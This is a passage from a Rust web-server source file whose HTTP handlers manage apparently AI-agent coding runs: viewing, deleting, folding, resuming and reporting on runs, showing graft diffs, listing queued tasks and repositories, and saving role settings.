4494    Path(id): Path<String>,
4495) -> ApiResult<Json<serde_json::Value>> {
4496    blocking(move || {
4497        let id = resolve_run(&ui.runs, &id)?;
4498        let state = read_run(&ui.runs, &id)?;
4499        let live = state.liveness(crate::daemon::is_working_on(
4500            &ui.home,
4501            &id,
4502            Timestamp::now(),
4503        ));
4504        let waiting = !ui.questions.open_for(&id).is_empty();
4505        Ok(Json(serde_json::json!({
4506            "id": id, "updated_at": state.updated_at, "live": live,
4507            "observed_at": Timestamp::now(),
4508            "progress": crate::run_progress::build(&state, live, waiting),
4509        })))
4510    })
4511    .await
4512}
4513
4514async fn run_detail(
4515    State(ui): State<Arc<Ui>>,
4516    Path(id): Path<String>,
4517) -> ApiResult<Json<RunDetailView>> {
4518    blocking(move || {
4519        let id = resolve_run(&ui.runs, &id)?;
4520        let state = read_run(&ui.runs, &id)?;
4521        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4522        let live = state.liveness(daemon_claims);
4523        crate::queue::record_ids(ui.questions.root(), "json")?;
4524        let waiting = ui
4525            .questions
4526            .list()
4527            .iter()
4528            .any(|q| q.run == id && q.status.open());
4529        let max_attempts = daemon::Opts::default().max_attempts;
4530
4531        let matching_task = ui.find_task_for_run(&id)?;
4532
4533        let superseded_by = state
4534            .pr_taken_over_by
4535            .clone()
4536            .or_else(|| {
4537                matching_task
4538                    .as_ref()
4539                    .and_then(|t| t.successor_of(&id).cloned())
4540            })
4541            .as_deref()
4542            .map(crate::run::short_of)
4543            .map(str::to_owned);
4544
4545        // Best-effort: an unreadable head (mid-write, or deleted) just means
4546        // this run's own status stands on its own, same as no later attempt
4547        // existing at all.
4548        let latest_attempt = matching_task
4549            .as_ref()
4550            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4551            .and_then(|head_id| {
4552                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4553                    short: head.short().to_owned(),
4554                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4555                    status: head.status,
4556                    done: head.status.done(),
4557                    id: head.id,
4558                })
4559            });
4560
4561        let task = matching_task
4562            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4563
4564        Ok(Json(RunDetailView::of(
4565            state,
4566            waiting,
4567            live,
4568            superseded_by,
4569            latest_attempt,
4570            task,
4571        )))
4572    })
4573    .await
4574}
4575
4576/// `DELETE /api/runs/{id}`.
4577///
4578/// Remove a finished, folded run directory along with its artifacts.
4579/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4580/// deleted. This never touches git worktrees or branches - except for a run
4581/// whose state this build cannot read at all, where there is no candidate
4582/// list to check and the wholesale removal `magi fold` already uses for that
4583/// case is the only meaningful "delete".
4584async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4585    let (id, unreadable) = {
4586        let ui = Arc::clone(&ui);
4587        blocking(move || {
4588            let id = resolve_run(&ui.runs, &id)?;
4589            match read_run(&ui.runs, &id) {
4590                Ok(_) => {
4591                    // The record's locks and the guards are judged on what is
4592                    // read under them (`clean::delete_run`): a fold in progress
4593                    // refuses the deletion rather than racing it.
4594                    crate::clean::delete_run(&ui.home, &id, jiff::Timestamp::now()).map_err(
4595                        |e| match e.downcast_ref::<crate::clean::DeleteRefused>() {
4596                            Some(refused) => ApiError::conflict(refused.0.clone()),
4597                            None => ApiError::internal(format!("{e:#}")),
4598                        },
4599                    )?;
4600                    Ok((id, false))
4601                }
4602                Err(_) => {
4603                    // Unreadable: there is no candidate list to guard on, so
4604                    // a live daemon's claim is the only thing left to check -
4605                    // the same rule `run_fold` applies for the same reason.
4606                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4607                        return Err(ApiError::conflict(format!(
4608                            "run {id} is being worked on by a live daemon right now"
4609                        )));
4610                    }
4611                    Ok((id, true))
4612                }
4613            }
4614        })
4615        .await?
4616    };
4617    if unreadable {
4618        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4619            .await
4620            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4621    }
4622    let ui = Arc::clone(&ui);
4623    let done = id.clone();
4624    blocking(move || {
4625        // The agent that asked died with the run, so an open question would
4626        // keep asking the operator for a decision nobody can deliver.
4627        ui.questions.abandon_for_run(
4628            &done,
4629            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4630        )?;
4631        Ok(())
4632    })
4633    .await?;
4634    Ok(StatusCode::NO_CONTENT)
4635}
4636
4637/// `POST /api/runs/{id}/fold`.
4638///
4639/// Remove a run's candidate worktrees and branches, keeping its record.
4640///
4641/// This exists because the deck answered "delete this run" with *"Candidates
4642/// must be folded before deleting. Run `magi fold` first."* — a phone being
4643/// told to open a terminal, in the one product whose point is that it does
4644/// not need one. The runs an operator most wants gone are the stalled and
4645/// blocked ones, and those are exactly the runs still holding worktrees:
4646/// three of them here held 53 GB.
4647///
4648/// The winner's tree goes too. A fold is what someone asks for when they are
4649/// finished with a run, and leaving one tree behind would leave the delete
4650/// button disabled for the same reason as before.
4651///
4652/// Refused while a live daemon is working on the run, on the rule that guards
4653/// deletion: folding underneath a running agent would pull the tree it is
4654/// editing out from under it.
4655///
4656/// A run whose state this build cannot read at all falls back to
4657/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4658/// selectively, so the whole record's worktree goes wholesale, exactly what
4659/// `magi fold` does on the command line for the same run.
4660async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4661    let (id, state) = {
4662        let ui = Arc::clone(&ui);
4663        blocking(move || {
4664            let id = resolve_run(&ui.runs, &id)?;
4665            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4666                return Err(ApiError::conflict(format!(
4667                    "run {id} is being worked on by a live daemon right now"
4668                )));
4669            }
4670            crate::clean::ensure_record_identity(&ui.runs, &id)
4671                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4672            let state = match read_run(&ui.runs, &id) {
4673                Ok(state) => {
4674                    state
4675                        .ensure_directory(&id)
4676                        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4677                    Some(state)
4678                }
4679                Err(_) => None,
4680            };
4681            Ok((id, state))
4682        })
4683        .await?
4684    };
4685    let removed = match state {
4686        Some(mut state) => {
4687            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4688                .await
4689                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4690            // Nothing left to remove is not the same thing as nothing left to
4691            // do — see `clean::clear_abandoned_active`'s own doc for the run
4692            // this exists for: worktrees already gone, but a killed process
4693            // left active seats nobody will ever answer for.
4694            if removed.is_empty() {
4695                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4696                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4697            }
4698            removed
4699        }
4700        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4701            .await
4702            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4703    };
4704    Ok(Json(FoldView {
4705        run: id,
4706        removed_count: removed.len(),
4707        removed,
4708    }))
4709}
4710
4711/// What a fold took away, so the deck can say so rather than only re-render.
4712#[derive(Debug, Serialize)]
4713struct FoldView {
4714    run: String,
4715    /// Worktree paths and branch names removed, in the order they went.
4716    removed: Vec<String>,
4717    removed_count: usize,
4718}
4719
4720/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4721/// merged outside of `land::land`'s own loop.
4722#[derive(Debug, Deserialize)]
4723struct FoldMergedBody {
4724    #[serde(default)]
4725    pr_url: String,
4726}
4727
4728/// `POST /api/runs/{id}/fold-merged`.
4729///
4730/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4731/// `Blocked` with `merge: null` because magi never got as far as opening a
4732/// pull request of its own (a title over GitHub's length limit, `gh pr
4733/// create` unreachable, a stale token), which the operator then finished by
4734/// hand on a pull request magi never recorded. The "Run actions" sheet used
4735/// to have no way to tell it about that pull request short of a terminal and
4736/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4737/// this exists and what it deliberately does not do (`bump::after_merge`).
4738///
4739/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4740/// correction rewrites the same `status`/`merge` fields a running graph would
4741/// be writing to on its own.
4742///
4743/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4744/// calls plus a fold, seconds of work, and the phone should get its answer
4745/// (which pull request it recorded, and what changed) in the same round
4746/// trip rather than learning it from the change stream.
4747async fn run_fold_merged(
4748    State(ui): State<Arc<Ui>>,
4749    Path(id): Path<String>,
4750    Json(body): Json<FoldMergedBody>,
4751) -> ApiResult<Json<FoldMergedView>> {
4752    let pr_url = body.pr_url.trim().to_owned();
4753    if pr_url.is_empty() {
4754        return Err(ApiError::bad_request("pr_url is required"));
4755    }
4756    let (id, mut state) = {
4757        let ui = Arc::clone(&ui);
4758        blocking(move || {
4759            let id = resolve_run(&ui.runs, &id)?;
4760            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4761                return Err(ApiError::conflict(format!(
4762                    "run {id} is being worked on by a live daemon right now"
4763                )));
4764            }
4765            let state = read_run(&ui.runs, &id)?;
4766            state
4767                .ensure_directory(&id)
4768                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4769            Ok((id, state))
4770        })
4771        .await?
4772    };
4773    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4774        .await
4775        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4776    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4777        .await
4778        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4779    Ok(Json(FoldMergedView {
4780        run: id,
4781        before: before.as_str().to_owned(),
4782        after: after.as_str().to_owned(),
4783        removed,
4784    }))
4785}
4786
4787/// What [`run_fold_merged`] did, so the deck can say so.
4788#[derive(Debug, Serialize)]
4789struct FoldMergedView {
4790    run: String,
4791    /// `status` before the correction — normally `"blocked"`.
4792    before: String,
4793    /// `status` after — normally `"merged"`.
4794    after: String,
4795    /// Worktree paths and branch names the trailing fold removed.
4796    removed: Vec<String>,
4797}
4798
4799/// `POST /api/runs/{id}/resume`.
4800///
4801/// Carry a stalled run on from where it stopped, in the background.
4802///
4803/// A stalled card says "the work is kept" and used to offer no way to act on
4804/// that: the candidates are built and paid for, and continuing means re-asking
4805/// only the seats whose absence collapsed the panel. The alternative an
4806/// operator actually had was releasing the task, which competes three fresh
4807/// implementations against work that already exists.
4808///
4809/// **202, not 200.** A resume runs agents for minutes; holding the connection
4810/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4811/// phone learns the outcome from the change stream.
4812///
4813/// Refused when the loop is running at all, not merely when it is on this run.
4814/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4815/// started a second graph on top of whatever the loop is already driving —
4816/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4817/// allows — would spend that quota twice over for no extra throughput.
4818async fn run_resume(
4819    State(ui): State<Arc<Ui>>,
4820    Path(id): Path<String>,
4821) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4822    let admission = ui.begin_admission()?;
4823    admitted(admission, async move {
4824        let (id, state) = {
4825            let ui = Arc::clone(&ui);
4826            blocking(move || {
4827                let id = resolve_run(&ui.runs, &id)?;
4828                let state = read_run(&ui.runs, &id)?;
4829                Ok((id, state))
4830            })
4831            .await?
4832        };
4833        crate::resume::validate_unqueued(&ui.home, &id)
4834            .map_err(|e| ApiError::conflict(e.to_string()))?;
4835        let _resume = ui.begin_resume(&id)?;
4836
4837        crate::resume::start(&ui.home, id.clone())
4838            .await
4839            .map_err(ApiError::from)?;
4840        // The same shape the list route returns, so the phone updates the card it
4841        // already has rather than learning a second schema for one button.
4842        let queued = RunSummary::of(
4843            &state,
4844            !ui.questions.open_for(&id).is_empty(),
4845            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4846        );
4847        Ok((StatusCode::ACCEPTED, Json(queued)))
4848    })
4849    .await
4850}
4851
4852async fn run_report(
4853    State(ui): State<Arc<Ui>>,
4854    Path(id): Path<String>,
4855) -> ApiResult<impl IntoResponse> {
4856    let text = blocking(move || {
4857        let id = resolve_run(&ui.runs, &id)?;
4858        // Colour is off for the whole process, set once in `serve`. Rendering
4859        // is CPU work over the full state, which is the other reason this is
4860        // not on the executor.
4861        let state = read_run(&ui.runs, &id)?;
4862        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4863        let live = state.liveness(daemon_claims);
4864        Ok(format!(
4865            "{}{}",
4866            report::run(&state),
4867            report::active_seats(&state, live)
4868        ))
4869    })
4870    .await?;
4871    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4872}
4873
4874/// The structured twin of [`run_report`]: the same state, as sections the UI
4875/// draws as cards. An unreadable run answers with the same error the text
4876/// route does; it is never turned into an empty report.
4877async fn run_report_json(
4878    State(ui): State<Arc<Ui>>,
4879    Path(id): Path<String>,
4880) -> ApiResult<Json<crate::report_view::RunReportView>> {
4881    let view = blocking(move || {
4882        let id = resolve_run(&ui.runs, &id)?;
4883        let state = read_run(&ui.runs, &id)?;
4884        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4885        // Only a record that lacks the structured details reads `artifacts/`.
4886        let recovered = state.graft.as_ref().map(|_| {
4887            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4888        });
4889        Ok(crate::report_view::build_with(
4890            &state,
4891            state.liveness(daemon_claims),
4892            recovered.as_ref(),
4893        ))
4894    })
4895    .await?;
4896    Ok(Json(view))
4897}
4898
4899/// Archive access uses validated run-owned records, never a request-supplied path.
4900async fn run_seat_evidence(
4901    State(ui): State<Arc<Ui>>,
4902    Path(id): Path<String>,
4903) -> ApiResult<impl IntoResponse> {
4904    let id = resolve_run(&ui.runs, &id)?;
4905    let heads = crate::retention::seat_heads(&ui.home, &id)
4906        .await
4907        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4908    Ok(Json(heads))
4909}
4910
4911async fn run_seat_diff(
4912    State(ui): State<Arc<Ui>>,
4913    Path((id, head)): Path<(String, String)>,
4914) -> ApiResult<impl IntoResponse> {
4915    let id = resolve_run(&ui.runs, &id)?;
4916    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4917        .await
4918        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4919    Ok((
4920        [
4921            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4922            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4923        ],
4924        patch,
4925    ))
4926}
4927
4928/// Most of a graft diff the route returns.
4929const GRAFT_DIFF_MAX: usize = 400 * 1024;
4930/// How long `git diff` may run.
4931const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4932
4933/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4934/// come from the run record, never from the request.
4935async fn run_graft_diff(
4936    State(ui): State<Arc<Ui>>,
4937    Path(id): Path<String>,
4938) -> ApiResult<impl IntoResponse> {
4939    let (repo, pre, post) = blocking(move || {
4940        let id = resolve_run(&ui.runs, &id)?;
4941        let state = read_run(&ui.runs, &id)?;
4942        let g = state
4943            .graft
4944            .as_ref()
4945            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4946        let post = g
4947            .post
4948            .clone()
4949            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4950        Ok((state.repo.clone(), g.pre.clone(), post))
4951    })
4952    .await?;
4953    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4954    if !hex(&pre) || !hex(&post) {
4955        return Err(ApiError::not_found("the recorded commits are not valid"));
4956    }
4957    let out = tokio::time::timeout(
4958        GRAFT_DIFF_TIMEOUT,
4959        crate::git::git_raw(
4960            &repo,
4961            &[
4962                "diff",
4963                "--no-color",
4964                "--no-ext-diff",
4965                "-M",
4966                &pre,
4967                &post,
4968                "--",
4969            ],
4970        ),
4971    )
4972    .await
4973    .map_err(|_| ApiError::not_found("git diff timed out"))?
4974    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4975    if out.code != Some(0) {
4976        return Err(ApiError::not_found(
4977            "the recorded commits are no longer in the repository",
4978        ));
4979    }
4980    let mut body = out.stdout;
4981    if body.len() > GRAFT_DIFF_MAX {
4982        let mut cut = GRAFT_DIFF_MAX;
4983        while !body.is_char_boundary(cut) {
4984            cut -= 1;
4985        }
4986        body.truncate(cut);
4987        body.push_str("\n... diff truncated ...");
4988    }
4989    Ok((
4990        [
4991            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4992            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4993        ],
4994        body,
4995    ))
4996}
4997
4998/// A task as the UI sees it.
4999///
5000/// The whole task, plus the two things the client would otherwise have to
5001/// reimplement: the human-readable source and the status string. Nothing is
5002/// removed - the phone shows `last_error` and the run history verbatim.
5003#[derive(Debug, Serialize)]
5004struct TaskView {
5005    #[serde(flatten)]
5006    task: Task,
5007    source_label: String,
5008    reassignment_notes: Vec<String>,
5009    source_link: Option<SourceLink>,
5010    status_str: &'static str,
5011    /// Fixed scheduling lane, ahead of ordinary priority order.
5012    upgrade_resume_at: Option<Timestamp>,
5013    /// The instruction, parsed as markdown, for the Queue card's "Full
5014    /// instruction" panel. `task.instruction` is unchanged and still carries
5015    /// the raw text.
5016    instruction_md: Vec<md::Node>,
5017    /// For a blocked task, what it waits on with each dependency's state, e.g.
5018    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5019    /// recurses; empty for every other status.
5020    waits_on: Vec<String>,
5021    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5022    /// behind - non-empty means nothing in the loop will ever run it.
5023    stuck_roots: Vec<String>,
5024    blockers: Vec<crate::blockers::BlockerView>,
5025    recovery: Option<String>,
5026    /// Shared read-only admission status (configured mode, active reservation
5027    /// lane, and concrete non-concurrency or capacity blocker).
5028    #[serde(skip_serializing_if = "Option::is_none")]
5029    admission: Option<daemon::TaskAdmission>,
5030}
5031
5032impl From<Task> for TaskView {
5033    fn from(task: Task) -> Self {
5034        Self {
5035            source_label: task.source.label(),
5036            reassignment_notes: Vec::new(),
5037            source_link: source_link(&task.source),
5038            status_str: task.status.as_str(),
5039            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5040            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5041            waits_on: Vec::new(),
5042            stuck_roots: Vec::new(),
5043            blockers: Vec::new(),
5044            recovery: task_recovery(&task),
5045            admission: None,
5046            task,
5047        }
5048    }
5049}
5050
5051impl TaskView {
5052    fn with_admission(
5053        mut self,
5054        snapshot: &daemon::AdmissionSnapshot,
5055        queue: &Queue,
5056        inv: Option<&crate::blockers::Inventory>,
5057        home: &std::path::Path,
5058    ) -> Self {
5059        self.admission = Some(snapshot.evaluate(&self.task, queue, inv, home));
5060        self
5061    }
5062
5063    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5064        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5065            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5066            if !pending.is_empty() {
5067                self.recovery = Some(format!(
5068                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5069                    self.recovery.as_deref().unwrap_or_default()
5070                ));
5071            }
5072            for decision in pending {
5073                self.blockers.retain(|view| view.id != decision.id);
5074                self.blockers.push(decision);
5075            }
5076        }
5077        self
5078    }
5079
5080    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5081        let waits_on = inv.waits_on(&task);
5082        let stuck_roots = inv
5083            .stuck_roots(&task)
5084            .iter()
5085            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5086            .collect();
5087        Self {
5088            blockers: inv.blocker_views(&task),
5089            waits_on,
5090            stuck_roots,
5091            ..Self::from(task)
5092        }
5093    }
5094}
5095
5096fn task_recovery(task: &Task) -> Option<String> {
5097    use crate::queue::{HoldSource, TaskStatus};
5098    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5099        return None;
5100    }
5101    let mut text = String::new();
5102    if task.status == TaskStatus::Blocked {
5103        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5104        let restored = match task.blocked_from {
5105            Some(TaskStatus::Running) => TaskStatus::Queued,
5106            Some(status) => status,
5107            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5108            None => TaskStatus::Queued,
5109        };
5110        text.push_str(&format!(
5111            "After all dependencies resolve, the scheduler restores {}. ",
5112            restored.as_str()
5113        ));
5114        if restored != TaskStatus::Held {
5115            return Some(text);
5116        }
5117    }
5118    text.push_str(match task.hold_source {
5119        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5120        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5121            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5122        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5123        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5124    });
5125    Some(text)
5126}
5127
5128/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5129/// its absence, leaves the cache to decide.
5130#[derive(Debug, Default, Deserialize)]
5131#[serde(default)]
5132struct ReposQuery {
5133    refresh: u8,
5134}
5135
5136/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5137/// listing `magi repos` prints at a terminal.
5138///
5139/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5140/// so an edit to `magi.toml` takes effect without a restart, the same
5141/// reasoning [`config_for`] documents for the talk routes.
5142async fn repos_list(
5143    State(ui): State<Arc<Ui>>,
5144    Query(q): Query<ReposQuery>,
5145) -> ApiResult<Json<Vec<repos::Repo>>> {
5146    let refresh = q.refresh != 0;
5147    blocking(move || {
5148        let (cfg, _) = Config::discover(&ui.repo, None)?;
5149        Ok(Json(ui.repos_cache.list(
5150            &cfg.repos.roots,
5151            Duration::from_secs(cfg.repos.scan_ttl),
5152            refresh,
5153        )))
5154    })
5155    .await
5156}
5157
5158/// Optional context, restricted to the server's known checkouts.
5159#[derive(Debug, Default, Deserialize)]
5160struct SettingsQuery {
5161    repo: Option<PathBuf>,
5162}
5163
5164/// Always discover against the server's original context, never the selection.
5165/// If that config is broken, retain the default context and machine-only roots
5166/// so the settings error contract and recovery picker remain available.
5167fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5168    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5169        let paths: Vec<PathBuf> = ui
5170            .machine_config
5171            .iter()
5172            .filter(|p| p.is_file())
5173            .cloned()
5174            .collect();
5175        if paths.is_empty() {
5176            Ok(Config::autodetected())
5177        } else {
5178            Config::load_layers(&paths)
5179        }
5180    });
5181    let mut known = cfg
5182        .map(|cfg| {
5183            ui.repos_cache.list(
5184                &cfg.repos.roots,
5185                Duration::from_secs(cfg.repos.scan_ttl),
5186                refresh,
5187            )
5188        })
5189        .unwrap_or_default();
5190    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5191    if !known.iter().any(|r| r.path == path) {
5192        known.push(repos::Repo {
5193            name: path
5194                .file_name()
5195                .unwrap_or_default()
5196                .to_string_lossy()
5197                .into_owned(),
5198            path,
5199        });
5200    }
5201    known
5202}
5203
5204fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5205    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5206    let canonical = requested.canonicalize().ok();
5207    let mut known = settings_repositories(ui, false);
5208    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5209    if !known.iter().any(matches) {
5210        known = settings_repositories(ui, true);
5211    }
5212    let repo = known
5213        .iter()
5214        .find(|r| matches(r))
5215        .map(|r| r.path.clone())
5216        .ok_or_else(|| ApiError {
5217            text_reason: None,
5218            status: StatusCode::UNPROCESSABLE_ENTITY,
5219            message: "Choose a known repository from the Settings selector.".to_owned(),
5220        })?;
5221    Ok((repo, known))
5222}
5223
5224/// `GET /api/settings` - the effective role assignments and roster, with the
5225/// layer each came from. A config that fails to load answers 200 with an
5226/// `error`, so the screen can say so instead of drawing empty lists.
5227async fn settings_get(
5228    State(ui): State<Arc<Ui>>,
5229    Query(q): Query<SettingsQuery>,
5230) -> ApiResult<Json<settings::SettingsView>> {
5231    blocking(move || {
5232        let (repo, known) = settings_context(&ui, q)?;
5233        Ok(Json(settings::view_with_repos(
5234            &repo,
5235            ui.machine_config.as_deref(),
5236            &known,
5237        )))
5238    })
5239    .await
5240}
5241
5242/// The body of `PUT /api/settings/roles`.
5243#[derive(Debug, Deserialize)]
5244#[serde(deny_unknown_fields)]
5245struct RolesBody {
5246    /// The `revision` the client last read.
5247    revision: String,
5248    /// Role key to its new ids; an empty list resets the key to its default.
5249    #[serde(default)]
5250    roles: std::collections::BTreeMap<String, Vec<String>>,
5251    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5252    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5253    /// words (422) instead of as a deserialization error.
5254    #[serde(default)]
5255    counts: std::collections::BTreeMap<String, serde_json::Value>,
5256}
5257
5258/// `PUT /api/settings/roles` - save role assignments to the machine config.
5259///
5260/// The write target is `ui.machine_config` and nothing in the body can change
5261/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5262/// 422 with the reason in words.
5263async fn settings_put_roles(
5264    State(ui): State<Arc<Ui>>,
5265    Query(q): Query<SettingsQuery>,
5266    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5267) -> ApiResult<Json<settings::SettingsView>> {
5268    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5269    blocking(move || {
5270        let (repo, known) = settings_context(&ui, q)?;
5271        settings::save_with_repos(
5272            &repo,
5273            ui.machine_config.as_deref(),
5274            &body.revision,
5275            &body.roles,
5276            &body.counts,
5277            &known,
5278        )
5279        .map(Json)
5280        .map_err(|e| match e {
5281            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5282            settings::SaveError::Refused(m) => ApiError {
5283                text_reason: None,
5284                status: StatusCode::UNPROCESSABLE_ENTITY,
5285                message: m,
5286            },
5287            settings::SaveError::Internal(m) => ApiError::internal(m),
5288        })
5289    })
5290    .await
5291}
5292
5293async fn queue_list(
5294    State(ui): State<Arc<Ui>>,
5295    Query(q): Query<ListQuery>,
5296) -> ApiResult<Json<Vec<TaskView>>> {
5297    blocking(move || {
5298        let tasks = ui.queue.list();
5299        let inv =
5300            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5301        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5302        Ok(Json(
5303            tasks
5304                .into_iter()
5305                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5306                .map(|t| {
5307                    TaskView::with_inventory(t, &inv).with_admission(
5308                        &admission,
5309                        &ui.queue,
5310                        Some(&inv),
5311                        &ui.home,
5312                    )
5313                })
5314                .collect(),
5315        ))
5316    })
5317    .await
5318}
5319
5320/// History pages read a bounded number of records; the first conversation
5321/// page also includes every open talk. Cursors advance through a frozen snapshot,
5322/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5323/// Concurrent inserts are reconciled by a trailing store refresh.
5324#[derive(Debug, Default, Deserialize)]
5325struct PageQuery {
5326    before: Option<String>,
5327}
5328
5329#[derive(Serialize)]
5330struct StorePage<T> {
5331    rows: Vec<T>,
5332    next: Option<String>,
5333}
5334
5335const STORE_PAGE_SIZE: usize = 16;
5336
5337/// Freeze membership and the initial open/history boundary for a cursor walk.
5338/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5339/// the next store revision. Never rescan the entire directory for every page.
5340#[derive(Debug)]
5341struct ListWalk {
5342    token: u64,
5343    talks: bool,
5344    opened: std::time::Instant,
5345    ids: Arc<Vec<String>>,
5346    initial_end: usize,
5347}
5348
5349fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5350    page_ids_with(ui, talks, q, open_talk_ids)
5351}
5352
5353fn page_ids_with(
5354    ui: &Ui,
5355    talks: bool,
5356    q: PageQuery,
5357    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5358) -> ApiResult<(Vec<String>, Option<String>)> {
5359    let mut walks = ui
5360        .monitor
5361        .list_walks
5362        .lock()
5363        .unwrap_or_else(PoisonError::into_inner);
5364    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5365    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5366        let (token, offset) = cursor
5367            .split_once(':')
5368            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5369        let token = token
5370            .parse::<u64>()
5371            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5372        let offset = offset
5373            .parse::<usize>()
5374            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5375        let walk = walks
5376            .iter()
